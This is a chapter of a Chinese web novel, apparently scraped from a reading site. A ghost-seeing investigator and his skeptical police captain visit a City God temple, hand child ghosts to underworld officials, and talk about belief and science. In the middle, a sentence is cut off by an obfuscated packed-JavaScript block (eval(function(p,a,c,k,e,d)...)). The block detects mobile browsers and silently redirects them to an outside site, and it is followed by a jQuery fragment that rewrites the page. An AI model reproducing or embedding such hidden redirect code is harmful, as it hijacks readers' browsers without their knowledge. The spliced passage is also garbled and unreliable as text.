崔人往被他摇晃了一下,脑袋里那点下垂的情绪也“哐当”被摇晃了一下,忍不住轻轻拍开谢重阳的手,他说:“把这群小鬼交给阴间公务员,然后请他们帮忙找找走丢的四个生魂。” 崔人往眼中的城隍庙可比一般人眼里热闹不少——阴差来来往往打着招呼,眼看着是要上班了。 “啊?”谢重阳头一次办案办到庙里来,带着几分震惊问,“求神啊?” 崔人往已经进去,谢重阳也只好硬着头皮跟上去。 他不由得庆幸,幸好他们平常不穿警服,不然还真不好意思走进去。 崔人往本身阴气就重,手里提着装了三只鬼的塑料袋,身边还跟着个阳气格外旺盛的谢重阳,在一般阴差看来,大概像是一人三鬼被谢警官逮住扭送城隍庙了。 几个阴差看向这里窃窃私语,崔人往充耳不闻,买了香,按照老张教的点香上供,然后念词。 一串词念完,他睁开眼,眼前挨着三个鬼看了都要哭的凶煞阴差。 崔人往微微后仰,拎起那个塑料袋:“就是这三个小鬼。” 他们这个年份的鬼,按照道理早该去投胎了,还困在那个墓里,多半是风水出了什么问题,把自己也给困住了。 按照老张的做法,应该是做场法事把他们送走。 按照崔人往的做法,那就是挑个月黑风高的日子直接从墙外城隍庙,就算不打招呼,城隍庙公务员也自会处理。 现在是折中了一下,不办法事,但跟阴差打个招呼。 左边阴差瞧:“这个年份的鬼,现在还能找到?稀罕货啊!” 豁牙小鬼又“哇哇”哭起来:“我要我娘、我要我娘……我不走!我要等她一块……” 中间阴差劝:“莫哭了,你娘不在,阴阳两隔,缘分已尽,总不能把她也带去地下陪你吧?” 崔人往轻咳一声:“这倒不是,他娘也死了,只是如今附身在人身上,不知道往哪去了,还请几位帮忙找找。” 他顿了顿说,“还丢了四个生魂,也请一并帮帮忙。” 三位阴差一齐扭过头来看他,右边阴差咂舌:“啊呀,这居然是个活人,差点也看成鬼了。” “开了天眼,命属极阴……这个更稀罕。”左边阴差上下打量他,“能平安长到这么大,不容易。” “我瞧瞧。”中间阴差也凑过来,“小子,可拜了什么师父?有没有修什么道行啊?” 崔人往:“……” 他摸出几个锡纸银元,也供上去,“事情要紧,还请几位帮忙。” 他把银元点燃,瞟了豁牙小鬼一眼,垂下眼说,“还有……若是能碰上,也让他跟娘一块走吧。” 几个阴差拿了银元,脸上的表情都柔和不少:“好说、好说,你且等好消息吧,待我们找到那几个生魂,再来寻你!” 阴差手中锁链一抖,勾着小鬼一串跟在身后,穿墙而去。 谢重阳只看见崔人往上了香,像是与看不见的人说着什么,还化了两个元宝,忍不住为难地拧起眉头。 忽然,一阵阴风吹过,元宝的余烬打着卷飞向高空,崔人往微微仰起头,也不知道目光落在何处。 谢重阳盯着他,试探着开口:“你有没有听说过,国外一个被称为‘审判者’的连环杀手。” 崔人往回头:“没有。” 谢重阳接着往下说:“他每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006891|193620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次行凶手法都不尽相同,因此一开始警方并不能确定这一系列案件是同一个人做的。直到在后续调查中,警方终于发现被害者的共同点——这些被害者都有不同程度的犯罪,而他们的死法都对应着他们所犯的罪。” 崔人往不明白他为什么突然说起这个,但还是耐心听着。 “在警方逮捕他之后,证据链一度没法完善。”谢重阳盯着崔人往,“因为没人知道凶手到底是怎么知道这些人曾经犯罪的。” “凶手本人坚称所有人的罪孽一目了然,犯罪者行走在人间就像是恶魔行走在无辜的羊群里一样显眼。他质问,为什么警察放任恶魔行走人间,不得不由他来亲自审判。” 崔人往若有所思。 在谢重阳看不见的角落里,几个阴差聚在他身后,也听得津津有味。 崔人往问:“那后来呢?证据链完善了吗?还是他们发现他真的是天使转生?” “他们最后发现,这名犯人患有严重的脑炎。”谢重阳摸了摸鼻子,“没人能够知道他异常的大脑让他以怎样的视角看待这个世界,是否真的看见了所有人身上的‘罪’。” 崔人往:“……” 他没忍住笑了一声,“如果非要在疯子和病人里选一个,我宁愿你把我当成疯子。” “我不是那个意思。”谢重阳拧起眉头,“我是想说……我相信你。” 崔人往这回是真的有点诧异了:“啊?” “我相信你是真的在找线索,在为了案子奔走。”谢重阳认真地看着他,“你不是为了演戏,为了故弄玄虚才带我在这里来的。” “我相信你,但是我也相信科学。” 崔人往试图跟上他的思路:“所以你的意思是……你要既相信科学又相信我,得出的合理解释就是——我脑子有问题?” “不一定是生病了,可能只是天生特殊。”谢重阳认真地分析,“也许人跟人看到的世界都是不一样。” 崔人往挑眉:“那你相信我能看见鬼魂?” “不是鬼。”谢重阳表情严肃,“也许是你能嗅到特殊的气味,也许是你能接收到的电波频率和一般人不一样,总之,应该都是科学能解释的。” “如果现在不能解释,那就是科学还没发展到这一步。” 崔人往:“在城隍庙里聊这个,你是真的不信邪。” “嗯?”谢重阳不明所以,“跟地点有关系吗?” 崔人往:“对你来说没有。” “走吧。” “哦。”谢重阳跟上去,“对了,市局有定期体检的,以防万一你还是……” “如果我真的脑子有问题,那老张和小桃呢?”崔人往挑眉,“我们仨脑子坏到一块了?” 他说完居然觉得这个想法可以接受,“也行,三个病友。” 谢重阳:“我不算吗?” 崔人往诧异:“你是正常人。” “我又不是说你们有病……”谢重阳说话时总喜欢盯着人的眼睛,“那退一万步,正常人不可以跟你们做病友吗?” “好歹名义上是你们的队长,不能不带我吧。” 崔人往:“……行,你当头号病友。” 谢重阳居然还挺满意,他笑着指了指外头的步行街:“走啊,买点吃点。”